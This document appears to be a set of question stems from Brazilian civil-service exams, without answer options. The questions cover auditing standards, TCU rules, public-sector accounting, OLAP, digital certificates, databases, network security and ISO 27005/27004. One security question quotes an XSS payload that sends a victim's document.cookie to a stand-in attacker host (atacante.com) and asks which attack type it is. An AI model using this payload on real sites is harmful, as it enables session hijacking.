De acordo com a conceituação prevista na NBC TA 240, que trata da responsabilidade do auditor em relação à fraude, no contexto da auditoria de demonstrações contábeis,

Suponha que, no bojo de processo de reestruturação de órgãos e entidades integrantes da Administração Pública Federal, jurisdicionados pelo TCU, tenha ocorrido as seguintes situações:

I. extinção de autarquias.

II. desestatização de empresas públicas.

III. transferência de órgãos para estrutura de outros ministérios, sem alteração de sua natureza jurídica e mantidas as atribuições anteriores.

De acordo com o disposto na Instrução Normativa n° 63/2010, do TCU, o procedimento a ser adotado para os casos em questão consiste

O monitoramento é um dos instrumentos de fiscalização previstos no Regimento Interno do Tribunal de Contas da União e destina-se a

Considere que o responsável pelo controle interno de uma sociedade de economia mista cuja maioria do capital social pertença à União tenha identificado a prática de atos potencialmente irregulares por parte da Diretoria Financeira da empresa, passíveis de ensejar prejuízos à companhia e seus acionistas. Diante desse cenário e com base nas disposições do Regimento Interno do Tribunal de Contas da União − TCU, deverá

Em 31/12/2016, uma entidade pública governamental apresentou os seguintes itens patrimoniais:

I. Prêmios de seguros a apropriar em 2017.

II. Créditos inscritos de dívida ativa que serão realizados em 2018.

III. Obrigações com fornecedores decorrentes de despesa processada com material de consumo que serão pagas em 2017.

IV. Empréstimos e financiamentos a longo prazo.

Em 31/12/2016, os itens I, II, III e IV foram classificados, respectivamente, como ativo

De acordo com a NBC TSP Estrutura Conceitual, o Ativo é um recurso controlado no presente pela entidade como resultado de evento passado. Para ser considerado um recurso, um item de um Tribunal Regional do Trabalho deve, necessariamente,

De acordo com a NBC TSP Estrutura Conceitual, são critérios de mensuração do passivo:

A empresa Diamante Verde S.A. adquiriu em 1 de julho de 2016 uma nova empresa, a Dourados S.A., que possui o direito de exploração de uma mina de ouro. A mina de ouro está em plena atividade. A participação da Diamante Verde S.A. é de 50% na empresas Dourados S.A.. Em 31 de dezembro de 2016, a empresa Diamante Verde possuía os seguintes registros e informações:



Dessa forma, a empresa deve

Consider the following descriptions of the OLAP operations in multidimensional data:

− The slice operation ..I.. one particular dimension from a given cube and provides a new sub-cube.

− Drill-down can be performed by ..II.. a concept hierarchy for a dimension.

− Roll-up can be performed by ...III... a concept hierarchy for a dimension.

− The pivot operation is also known as rotation. It ...IV... the data axes in view in order to provide an alternative presentation of data.

The correct words to fill in the gaps I, II, III and IV are, respectively,

Um Analista precisa escolher um Certificado de Assinatura Digital para ser utilizado na rede virtual privada da organização onde trabalha e na assinatura de documentos com verificação da integridade das informações. Optou corretamente por um certificado do tipo A2, cuja

Para verificar a integridade de uma informação pode-se utilizar o resumo que foi gerado a partir dela por meio de algoritmos (ou funções) de hash como o MD5, SHA-1, SHA-256, SHA-512 etc. O SHA-256 e o SHA-512 são funções de hash computadas com palavras, respectivamente, de

Consider these statements.

I. OpenSSL is an open source Project that provides a robust, commercial-grade, and full-featured toolkit for the Transport Layer Security (TLS) and Secure Sockets Layer (SSL) protocols. It is also a general-purpose cryptography library.

II. OpenLDAP stands for Open Light Directory Access Protocol. It is a lightweight protocol for accessing directory services, specifically X.500-based directory services. LDAP runs only over TCP/IP services. The LDAP information model is based on entries. An entry is a collection of commands that has a globally-unique Distinguished Name (DN). The DN is used to refer to the entry ambiguously. In LDAP, directory entries are arranged in a non hierarchical tree-like structure.

III. The Active Directory module for Windows PowerShell consolidates a group of cmdlets. These cmdlets can be used to manage Active Directory domains, Active Directory Lightweight Directory Services (AD LDS) configuration sets, and Active Directory Database Mounting Tool instances in a single, self-contained package.

The correct statement(s) is (are)

Considere os seguintes comandos ou trechos de comandos:

I. Get-NetIPAddress | Sort InterfaceIndex | FT InterfaceIndex, InterfaceAlias, IPAddress - Autosize

II. #!/bin/sh

III. int umInteiro = 5

String frase = " " "número ${umInteiro},

e seu dobro: ${umInteiro + umInteiro}" " "

Em ambientes ideais, é correto afirmar que

Ao comparar os servidores de aplicação Red Hat JBoss EAP versões 5 e 6, visando a instalação e configuração da versão 6, um Analista afirma corretamente que

Ao executar a instrução SELECT SUBSTRING ('XY1234Z', 'Y*([0-9]{1,3})'); no PostgreSQL versão 9.4 será exibido o valor

Uma das atribuições do administrador de banco de dados Oracle é conceder permissões de acesso a usuários do banco de dados. Para isso pode ser utilizada, por exemplo, a instrução abaixo.

GRANT select ON TRT.employees TO paulo WITH ...I... ;

Esta instrução concede privilégio de SELECT na tabela employees do esquema TRT ao usuário paulo. Para este usuário poder estender seus privilégios de objeto para outros usuários, deve ser incluída na lacuna I

Considere um cenário em que uma aplicação utiliza dados não confiáveis na construção do seguinte fragmento HTML sem validação ou filtro:

(String) page += "<input name='num_cartao_credito' type='TEXT' value='" +

request.getParameter("credit_card") + " '>";

Considere, ainda, que um atacante modifica o parâmetro 'credit_card' em seu navegador para:

'><script>document.location= 'http://www.atacante.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'

Isso causa o envio do ID de sessão da vítima para o site do atacante, permitindo que sequestre a sessão atual do usuário.

Este é um cenário de ataque do tipo

Um Analista, ao consultar a documentação do Zabbix Appliance (3.0.0) para o sistema operacional Linux (Ubuntu 14.04.3), obteve as informações abaixo.

O Zabbix Appliance utiliza-se do IPTables com as seguintes regras configuradas:

− Portas abertas − SSH (22 TCP)

− Zabbixagent (10050 TCP) e Zabbixtrapper (10051 TCP)

− HTTP (80 TCP) e HTTPS (443 TCP)

− SNMP trap (162 UDP)

− Consultas NTP liberadas (53 UDP)

− Pacotes ICMP limitados a 5 por segundo

− Qualquer situação diferente sendo bloqueada

Considerando os fundamentos de redes de computadores e as informações acima é correto afirmar:

Considere os processos abaixo.

Processos do SGSI

− Planejar.

− Executar.

− Verificar.

− Agir.

Processos de GRSI

− Definição do contexto.

− Avaliação de riscos.

− Definição do plano de tratamento do risco.

− Aceitação do risco.

− Implementação do plano de tratamento do risco.

− Monitoramento contínuo e análise crítica de riscos.

− Manter e melhorar o processo de GRSI.

A norma ABNT NBR ISO/IEC 27005:2011 apresenta o alinhamento do processo do Sistema de Gestão da Segurança da Informação – SGSI e do processo de Gestão de Riscos de Segurança da Informação – GRSI. Segundo a Norma, o processo de GRSI denominado

A norma ABNT NBR ISO/IEC 27004:2010 recomenda que se estabeleça e gerencie um Programa de Medição de Segurança da Informação − PMSI a fim de alcançar os objetivos de medição estabelecidos e adotar o modelo PDCA nas atividades de medição globais da organização. A Norma recomenda que o PMSI inclua os processos de